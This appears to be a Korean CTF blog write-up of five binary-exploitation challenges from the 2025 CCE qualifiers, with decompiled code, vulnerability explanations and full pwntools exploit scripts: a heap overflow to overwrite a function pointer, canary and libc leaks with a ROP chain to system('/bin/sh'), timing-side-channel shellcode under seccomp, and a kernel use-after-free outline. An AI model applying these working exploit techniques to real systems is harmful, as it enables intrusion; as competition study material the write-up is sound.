CTF/writeup

2025 cce quals writeup

shielder 2025. 8. 17. 23:00

예선 1등으로 본선에 간다. 청소년부에 폰은 총 6문제 출제되었다. (Heapappy : 250, book : 487, Artisan : 864, Chain : 962, Time Capsule : 962, MyBlog : 1000(0 Solve)) 대회 진행 중 마지막 문제를 제외한 5문제를 풀었다. MyBlog도 조금만 집중하면 풀 수 있었을 거 같은데 커널 문제를 풀 때 조건을 제대로 확인하지 않아서 두 시간을 날리기도 했고, 우리 팀 리버서도 나를 도와줄 정신 상태가 아니어서 깔끔하게 접고 쉬었다. 각설하고 풀이를 적어보겠다.


목차

  1. Heapappy
  2. book
  3. Artisan
  4. Chain
  5. Time Capsule

Heapappy

[*] '/mnt/d/cce/qual/Heapappy/prob'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

PIE가 꺼져 있고 Partial RELRO이다.

unsigned __int64 prompt()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-40h]
  char nptr[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = 0LL;
  printf("Choice: ");
  while ( v1 <= 0x1E && fread(&nptr[v1], 1uLL, 1uLL, stdin) == 1 )
  {
    if ( nptr[v1] == 10 )
    {
      nptr[v1] = 0;
      break;
    }
    ++v1;
  }
  nptr[v1] = 0;
  return strtoul(nptr, 0LL, 10);
}

unsigned __int64 __fastcall input(__int64 a1, unsigned __int64 a2)
{
  char ptr; // [rsp+17h] [rbp-19h] BYREF
  unsigned __int64 i; // [rsp+18h] [rbp-18h]
  size_t v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  for ( i = 0LL; ; ++i )
  {
    if ( i >= a2 )
      return i;
    v5 = fread(&ptr, 1uLL, 1uLL, stdin);
    if ( v5 != 1 )
      break;
    if ( ptr == 10 )
      return i;
    *(_BYTE *)(i + a1) = ptr;
  }
  if ( feof(stdin) )
    fwrite("ERROR: Reached EOF\n", 1uLL, 0x13uLL, stderr);
  else
    fwrite("ERROR: fread failed\n", 1uLL, 0x14uLL, stderr);
  return i;
}

int adopt()
{
  __int64 v1; // [rsp+0h] [rbp-10h]

  if ( pet )
    return puts("Already adopted.");
  pet = malloc(0x28uLL);
  if ( !pet )
    exit(1);
  memset(pet, 0, 0x28uLL);
  *((_DWORD *)pet + 6) = 0;
  *((_QWORD *)pet + 4) = act_tutorial;
  printf("Name length: ");
  v1 = prompt();
  if ( v1 > 24 )
    return puts("Name too long.");
  printf("Name bytes: ");
  input((__int64)pet, v1);
  return puts("Adopted.");
}

adopt 함수에서 이름의 길이 변수인 v1signed __int64 임을 알 수 있다. 따라서 음수를 입력하면 조건문을 통과한다. 그런데 input 함수에서는 rsiunsigned __int64로 해석하고 있으므로 heap overflow가 발생한다.

int perform_ritual()
{
  if ( pet )
    return (*((__int64 (__fastcall **)(void *))pet + 4))(pet);
  else
    return puts("Adopt first.");
}

perform_ritual 함수에서 heap에 있는 함수 포인터를 참조하여 실행하는 부분이 있으므로 이를 win 함수로 덮어 쉘을 딴다.

ex.py

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true', help='Connect to remote server')
parser.add_argument('-g', '--gdb', action='store_true', help='Attach GDB debugger')
args = parser.parse_args()

gdb_cmds = [
    'b *$rebase(0x000000000001568)',
    'c'
]

binary = './prob'

context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

if args.remote:
    p = remote("3.38.164.12", 3030)
else:
    p = process(binary)
    if args.gdb:
        gdb.attach(p, '\n'.join(gdb_cmds))

p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b'Choice: ', b'-1')
p.sendlineafter(b': ', b'a' * 0x20 + p64(0x40184d))
p.sendlineafter(b'Choice: ', b'3')

p.interactive()

book

[*] '/mnt/d/cce/qual/book/prob'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

특징은 없다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+24h] [rbp-11Ch] BYREF
  void *buf; // [rsp+28h] [rbp-118h]
  char s[264]; // [rsp+30h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+138h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v4 = -1;
  init();
  memset(s, 0, 0x100uLL);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v4);
    if ( v4 == 4 )
      return 0;
    if ( v4 == 3 )
    {
      if ( added )
      {
        printf("Page number: ");
        __isoc99_scanf("%u", &pagenum);
        if ( (unsigned int)pagenum > 4 )
        {
          puts("[ERROR] Only [0~3] page is available");
          exit(-1);
        }
        printf("Edit size: ");
        __isoc99_scanf("%u", &edit_size);
        if ( (unsigned int)edit_size > 0x40 )
        {
          puts("[ERROR] Too large");
          exit(-1);
        }
        printf("Write content : ");
        buf = &s[pagenum << 6];
        read(0, buf, 0x40uLL);
      }
      else
      {
LABEL_14:
        puts("Write a article first");
      }
    }
    else
    {
      if ( v4 > 3 )
        goto LABEL_22;
      if ( v4 == 1 )
      {
        if ( added )
        {
          puts("article already written");
        }
        else
        {
          printf("Enter article size : ");
          __isoc99_scanf("%u", &size);
          if ( (unsigned int)size > 0x100 )
          {
            puts("[ERROR] Too large");
            exit(-1);
          }
          printf("Write content : ");
          read(0, s, (unsigned int)size);
          ++added;
        }
      }
      else if ( v4 == 2 )
      {
        if ( !added )
          goto LABEL_14;
        printf("Content: %s\n", s);
      }
      else
      {
LABEL_22:
        puts("Invalid choice");
      }
    }
  }
}

edit에서 pagenum을 잘못 관리해서 4가 통과된다. 입출력이 모두 있으므로 ROP 해준다. 이게 250점이 아닌 게 신기하다.

ex.py

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true', help='Connect to remote server')
parser.add_argument('-g', '--gdb', action='store_true', help='Attach GDB debugger')
args = parser.parse_args()

gdb_cmds = [
    'b *$rebase(0x150c)',
    'c'
]

binary = './prob'

context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

if args.remote:
    p = remote("15.165.12.135", 12345)
else:
    p = process(binary)
    if args.gdb:
        gdb.attach(p, '\n'.join(gdb_cmds))
l = ELF('./libc.so.6')

def edit(idx : int, sz : int, ctt : bytes):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b': ', str(idx).encode())
    p.sendlineafter(b': ', str(sz).encode())
    p.sendafter(b': ', ctt)

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', b'256')
p.sendafter(b': ', b'a' * 0x100)

edit(4, 9, b'a' * 9)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Content: ' + b'a' * (0x100 + 9))
canary = u64(b'\x00' + p.recvn(7))
print(hex(canary))

edit(4, 0x18, b'a' * 0x18)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Content: ' + b'a' * (0x100 + 0x18))
l.address = u64(p.recvn(6).ljust(8, b'\x00')) - 0x2a1ca
print(hex(l.address))

ret = l.address + 0x000000000002882f
pop_rdi = l.address + 0x000000000010f75b
system = l.sym['system']
binsh = list(l.search(b'/bin/sh'))[0]
edit(4, 0x18 + 0x20, b'a' * 0x8 + p64(canary) + b'a' * 8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system))
p.sendlineafter(b'> ', b'4')
p.interactive()

Artisan

문제에서 prob.c 파일만 제공하여서 보호 기법을 알 수 없다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <fcntl.h>
#include <seccomp.h>
#include <linux/seccomp.h>

#define LENGTH 128

volatile char flag_mem[0x50] = {0};

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(nanosleep), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";

int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    int fd = open("./flag", O_RDONLY);
    if (fd == -1) {
        perror("open");
        return 1;
    }
    read(fd, flag_mem, 0x50);
    close(fd);

    char* sh = (char*)mmap((void*)0x40400000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));

    int offset = sizeof(stub);
    printf("Enter your shellcode: ");
    read(0, sh+offset, 0x900);

    alarm(10);
    chroot("/home/ctf");
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}

flagbss 영역에 저장되어 있다. sandbox에서의 seccomp 설정으로 nanosleep 함수만 허용하고 있다. 그 후 stub에 저장된 쉘코드를 실행한 후 유저가 입력한 쉘 코드를 입력한다. stub에 저장된 쉘코드는 rsp, rip를 제외한 모든 레지스터를 0으로 초기화한다.
flag를 얻기 위해 두 가지 작업을 해야 한다. 첫 번째는 flag가 저장된 주소를 찾는 것이다. *($rsp)code 영역 주소이므로 bss 영역의 시작 주소를 얻을 수 있다. 그로부터 조금 넉넉하게 여유를 두어 약간 앞으로 주소를 잡고 브루트포싱으로 c 글자를 탐색한다. 탐색 방법은 time based sql injection과 같은 논리이다. 해당 메모리에 c가 저장되어 있으면 2초 sleep을 하고, 아니라면 바로 종료한다.
두 번째는 flag를 읽는 것이다. 이를 위해 두 가지 방법을 생각했다. 가장 처음 생각한 건 8바이트씩 끊어서 이분탐색을 하는 것이었는데, 물론 굉장히 빠르겠지만 이분 탐색 코드 짜기가 귀찮았고 시간도 넉넉해서 직관적인 생각을 코드로 옮기고자 했다. 그래서 단순하게 1비트씩 확인하는 코드로 짰다. 이 코드는 30분 정도 걸렸다. 대회 끝나고 짠 이분탐색 코드도 함께 첨부하겠다.

ex.py

from pwn import *
from datetime import datetime

binary = './prob'

context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# find flag address
"""
for i in range(0x1000):
    try:   
        #p = process(binary)
        #gdb.attach(p)
        p = remote('3.38.198.197', 54321)
        offset = 0x4000 - 0x1572 + i
        payload = f'''
            pop r10
            add r10, {offset}
            mov al, byte ptr [r10]
            cmp al, 99
            jne skip_sleep

            push 0
            push 2
            mov rdi, rsp
            mov rax, 35
            syscall

        skip_sleep:
            mov rax, 60
            mov rdi, 0
            syscall
        '''
        p.sendafter(b': ', asm(payload))
        start = datetime.now()
        p.recvline()
        p.recvline()
    except:
        end = datetime.now()
        p.close()
    t = (end-start).total_seconds()
    print(hex(i), t)
    if t > 1.5 : 
        print(hex(i))
        print(offset)
        exit()
""" # 0x2e

# get flag by compare bit by bit
flag = ""
k = 0

for i in range(400):
    try:   
        #p = process(binary)
        p = remote('3.38.198.197', 54321)
        offset = 0x4000 - 0x1572 + 0x2e
        payload = f'''
            pop r10
            add r10, {offset}
            add r10, {i // 8}
            mov al, byte ptr [r10]
            shr al, {i % 8}

            and al, 1
            cmp al, 1
            jne skip_sleep

            push 0
            push 2
            mov rdi, rsp
            mov rax, 35
            syscall

        skip_sleep:
            mov rax, 60
            mov rdi, 0
            syscall
        '''
        p.sendafter(b': ', asm(payload))
        start = datetime.now()
        p.recvline()
        p.recvline()
    except:
        end = datetime.now()
        p.close()
    t = (end-start).total_seconds()
    if t > 1.5 : 
        k += 1 << (i % 8)
    if (i % 8) == 7:
        flag += chr(k)
        k = 0
        print(flag)
        if chr(k) == '}' : exit(0)

# get flag by binary search
"""
flag = ""

for i in range(50):
    l = 0
    r = 0xffffffffffffffff
    while l < r :
        try:   
            print(hex(l), hex(r))
            #p = process(binary)
            p = remote('3.38.198.197', 54321)
            offset = 0x4000 - 0x1572 + 0x2e
            mid = (l + r) // 2
            payload = f'''
                pop r10
                add r10, {offset + 8 * i}
                mov rax, QWORD ptr [r10]
                mov r11, {mid}
                cmp rax, r11
                ja skip_sleep

                push 0
                push 2
                mov rdi, rsp
                mov rax, 35
                syscall

            skip_sleep:
                mov rax, 60
                mov rdi, 0
                syscall
            '''
            p.sendafter(b': ', asm(payload))
            start = datetime.now()
            p.recvline()
            p.recvline()
        except:
            end = datetime.now()
            p.close()
        t = (end-start).total_seconds()
        if t > 1.5 : 
            r = mid
        else :
            l = mid + 1

    flag += p64(l).decode()
    print(flag)
    if '}' in flag : exit(0)
"""

Chain

[*] '/mnt/d/cce/qual/Chain/prob'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

특징은 없다.

int __fastcall check(unsigned int a1, unsigned int a2)
{
  char v3; // [rsp+17h] [rbp-9h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("from_idx: %d, to_idx: %d\n", a1, a2);
  printf("continue? (y/n): ");
  __isoc99_scanf(" %c", &v3);
  if ( v3 != 'y' && v3 != 'Y' )
    return puts("end copy");
  if ( a1 < 8 && a2 < 8 )
    return 0;
  puts("invalid origin or destination");
  return -1;
}

unsigned __int64 copy()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
  signed int v2; // [rsp+10h] [rbp-10h] BYREF
  signed int v3; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("chain idx: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 2 )
  {
    printf("origin: ");
    __isoc99_scanf("%d", &v2);
    printf("destination: ");
    __isoc99_scanf("%d", &v3);
    if ( check(v2, v3) >= 0 )
      memcpy((char *)&dword_50E0[18 * v1 + 36] + 7 * v3, (char *)&dword_50E0[18 * v1 + 36] + 7 * v2, 3uLL);
  }
  else
  {
    puts("invalid chain idx");
  }
  return v4 - __readfsqword(0x28u);
}

check 함수에서 y, Y를 입력하지 않는 경우 puts의 반환 값을 넘긴다. 그런데 puts는 출력에 실행한 경우 음이 아닌 정수를 반환하므로 v2, v3이 얼마든 조건문을 통과할 수 있다. 따라서 oob가 발생한다. Chain이 3개고 72%7!=0이며 memcpy의 n이 3바이트이므로 3*3=9>7이라서 모든 data에 접근 가능하다.

__int64 view()
{
  int i; // [rsp+0h] [rbp-10h]
  int j; // [rsp+4h] [rbp-Ch]

  for ( i = 0; i <= 34; ++i )
  {
    system("clear");
    for ( j = 0; qword_50F0[j]; ++j )
      qword_50F0[j]();
    usleep(40000u);
  }
  dword_50E0[0] = 0;
  system("clear");
  return sub_1C24();
}

view 함수에서 미리 채워져 있던 함수 포인터의 실행으로 정해진 메모리의 값을 출력하는데, 위의 oob memcpy 취약점을 이용하여 pie_base, libc_base를 딸 수 있다. 이제 저 함수 포인터를 조작하여 임의 코드 실행을 수행할 수 있는데, one_gadget은 조건에 맞는 게 없어서 system 함수로 쉘을 따야 한다. 그렇다면 rdi를 조작할 방법을 생각해야 한다.

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("chain idx: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 2 )
  {
    printf("destination: ");
    __isoc99_scanf("%d", &v2);
    if ( v2 < 8 )
    {
      printf("kor: ");
      read(0, (char *)&dword_50E0[18 * v1 + 36] + 7 * (int)v2, 3uLL);
    }
    else
    {
      puts("invalid idx");
    }
  }
  else
  {
    puts("invalid chain idx");
  }
  return v3 - __readfsqword(0x28u);
}

edit에서 chain 0, destination 0sh\x00을 적는다. 함수 포인터 3번에 copy, 함수 포인터 4번에 system 함수 주소를 입력하고 view를 실행한다. 그럼 3번에 있던 copy가 실행되는데, 이 때 chain 0, destination 0을 입력하면 rdi가 위에서 설정한 그 주소로 바뀐다. 어셈블리어로 보면 알 수 있듯 copy 함수에서 memcpy 이후, 그리고 view 함수에서 함수 포인터 실행 중 rdi 값이 바뀌지 않는다. 따라서 4번이 실행되면 system("sh")를 실행시킬 수 있다.

ex.py

from pwn import *
import argparse
import re

parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true', help='Connect to remote server')
parser.add_argument('-g', '--gdb', action='store_true', help='Attach GDB debugger')
args = parser.parse_args()

gdb_cmds = [
    'set follow-fork-mode parent',
    #'b *$rebase(0x1e7b)',
    'b *$rebase(0x2020)',
    'c'
]

binary = './prob'

context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

if args.remote:
    p = remote("15.165.233.83", 31407)
else:
    p = process(binary)
    if args.gdb:
        gdb.attach(p, '\n'.join(gdb_cmds))
l = ELF('./libc.so.6')
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def edit(idx : int, idx2 : int, ctt : bytes):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b': ', str(idx).encode())
    p.sendlineafter(b': ', str(idx2).encode())
    p.sendafter(b': ', ctt)

def copy(idx : int, idx1 : int, idx2 : int):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b': ', str(idx).encode())
    p.sendlineafter(b': ', str(idx1).encode())
    p.sendlineafter(b': ', str(idx2).encode())
    p.sendafter(b': ', b'n')

def view():
    p.sendlineafter(b'> ', b'3')
    p.recvline()
    p.recvline()
    p.recvline()
    p.recvline()
    msg = p.recvline()
    msg = re.sub(r'\x1b\[[0-9;]*m'.encode(), b'', msg)
    msg = msg.strip().split(b'----')
    return msg

copy(2, -72, 0)
copy(0, -51, 0)
copy(2, -96, 1)
copy(0, -75, 1)
msg = view()
# print(msg)
piebase = (u64(msg[0][:3].ljust(8, b'\x00')) << 24) + u64(msg[2][:3].ljust(8, b'\x00'))
piebase -= 0x5008
l.address = ((u64(msg[0][3:6].ljust(8, b'\x00')) << 24) + u64(msg[2][3:6].ljust(8, b'\x00'))) - l.sym['putchar']
print(hex(piebase))
print(hex(l.address))

edit(0, 0, b'\x00' + p8((piebase + 0x1d26) & 0xff) + b'\x00')
copy(0, 0, -15)
edit(1, 0, p32(((piebase + 0x1d26) >> 8) & 0xffffff)[:3])
copy(1, 0, -25)
edit(2, 0, p32(((piebase + 0x1d26) >> 24) & 0xffffff)[:3])
copy(2, 0, -35)
# print(hex(piebase + 0x5100))

#gdb.attach(p, '\n'.join(gdb_cmds))
edit(1, 0, p32((l.sym['system']) & 0xffffff)[:3])
copy(1, 0, -24)
edit(2, 0, p32(((l.sym['system'] >> 16) & 0xffffff))[:3])
copy(2, 0, -34)
edit(0, 0, p32(((l.sym['system']) >> 40) & 0xffffff)[:3])
copy(0, 0, -13)
edit(0, 0, b'sh\x00')
view()
p.sendlineafter(b': ', str(0).encode())
p.sendlineafter(b': ', str(0).encode())
p.sendlineafter(b': ', str(0).encode())
p.sendafter(b': ', b'n')
p.interactive()

Time capsule

qemu-system-x86_64 \
  -kernel bzImage \
  -initrd $1 \
  -nographic \
  -append "console=ttyS0 quiet loglevel=3 oops=panic nopti nokaslr nosmep nosmap" \
  -m 512M \
  -cpu kvm64,-smep,-smap,rdrand \
  -monitor /dev/null \
  -no-reboot \
  -s

nopti, nokaslr, nosmep, nosmap이다. ret2usr를 할 수 있는 환경이다.

__int64 __fastcall capsule_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
  __int64 v5; // rdi
  __int64 v6; // rax
  __int64 v7; // rbx
  __int64 v8; // r13
  __int64 v9; // rdx
  unsigned int v10; // r12d
  __int64 *v11; // rax
  unsigned int v12; // ebp
  _DWORD *v13; // rax
  unsigned int v14; // ebx
  _DWORD *v15; // rdx
  unsigned int v16; // ebx
  __int64 v17; // rax
  __int64 v18; // rcx
  __int64 v20; // rbx
  __int64 v21; // rdi
  __int64 v22; // rax
  __int64 v23; // rdx
  __int64 v24; // rcx
  __int64 v25; // rbx
  __int64 v26; // rbp
  unsigned __int64 v27; // r12
  __int64 v28; // rdi
  __int64 v29; // rax
  __int64 v30; // rdx
  __int64 v31; // [rsp+0h] [rbp-48h] BYREF
  unsigned __int64 v32; // [rsp+8h] [rbp-40h]
  __int64 v33; // [rsp+10h] [rbp-38h]
  __int64 v34; // [rsp+18h] [rbp-30h]
  unsigned __int64 v35; // [rsp+20h] [rbp-28h]

  v35 = __readgsqword((unsigned int)&_ref_stack_chk_guard);
  v31 = 0LL;
  v32 = 0LL;
  v33 = 0LL;
  v34 = 0LL;
  if ( copy_from_user(&v31, a3, 32LL) || (_DWORD)v34 != 0xCAFEBABE || (unsigned int)v31 > 0x1FF )
    return -22LL;
  mutex_lock(&mutex_h);
  if ( a2 == 0x3000 )
  {
    v26 = (int)v31;
    v27 = v32;
    v28 = capsule[(int)v31];
    if ( v32 <= 0x100 && v28 )
    {
      v29 = copy_from_user(v28, v33, v32);
      if ( v29 )
      {
        v7 = -14LL;
      }
      else
      {
        if ( BYTE4(qword_E28[2 * v26]) )
        {
          v30 = capsule[v26];
          if ( v27 )
          {
            do
            {
              *(_BYTE *)(v30 + v29) ^= (unsigned int)(1640531527 * (v26 + 57005)) >> (8 * (v29 & 3));
              ++v29;
            }
            while ( v27 != v29 );
          }
        }
        v7 = 0LL;
        ++LODWORD(qword_E28[2 * v26]);
      }
      goto LABEL_18;
    }
    goto LABEL_17;
  }
  if ( a2 > 0x3000 )
  {
    if ( a2 == 0x4000 )
    {
      v8 = (int)v31;
      v9 = capsule[(int)v31];
      v10 = v31;
      if ( v9 )
      {
        v11 = capsule;
        v12 = 0;
        do
          v12 -= (*v11++ == 0) - 1;
        while ( &misc_deregister != (__int64 (__fastcall **)(_QWORD))v11 );
        v13 = (_DWORD *)capsule[(int)v31];
        v14 = 0;
        v15 = (_DWORD *)(v9 + 256);
        do
        {
          v16 = *v13++ + v14;
          v14 = 1640531527 * v16;
        }
        while ( v15 != v13 );
        v17 = ktime_get(&mutex_h, a3, v15, &misc_deregister);
        v18 = v14;
        v7 = 0LL;
        printk(&unk_518, v10, v12, v18, LODWORD(qword_E28[2 * v8]), (v17 - metadata[2 * v8]) / 1000000);
        goto LABEL_18;
      }
    }
    goto LABEL_17;
  }
  if ( a2 == 0x1000 )
  {
    v20 = (int)v31;
    if ( !capsule[(int)v31] )
    {
      v21 = kmem_cache_note;
      v22 = kmem_cache_alloc_noprof(kmem_cache_note, 0xDC0LL);
      capsule[v20] = v22;
      if ( v22 )
      {
        v25 = 2 * v20;
        metadata[v25] = ktime_get(v21, 0xDC0LL, v23, v24);
        LODWORD(qword_E28[v25]) = 1;
        BYTE4(qword_E28[v25]) = 0;
        v7 = 0LL;
      }
      else
      {
        v7 = -12LL;
      }
      goto LABEL_18;
    }
    goto LABEL_17;
  }
  if ( a2 != 0x2000 || !capsule[(int)v31] )
  {
LABEL_17:
    v7 = -22LL;
    goto LABEL_18;
  }
  v5 = kmem_cache_note;
  v6 = 2LL * (int)v31;
  v7 = 0LL;
  metadata[v6] = 0LL;
  qword_E28[v6] = 0LL;
  kmem_cache_free(v5);
LABEL_18:
  mutex_unlock(&mutex_h);
  return v7;
}

kmalloc 크기는 ioctl_init에서 0x200임을 확인할 수 있다. kfree에서 UAF를 확인할 수 있다. pipe fake ops -> ret2usr로 해결한다.

'CTF > writeup' 카테고리의 다른 글

2025 codegate CTF final writeup  (0) 2025.07.21
2025 1753CTF writeup  (0) 2025.04.13
2025 squ1rrel CTF writeup  (0) 2025.04.10
2025 codegate CTF quals writeup  (2) 2025.04.09
2025 SSU CTF writeup  (0) 2025.04.09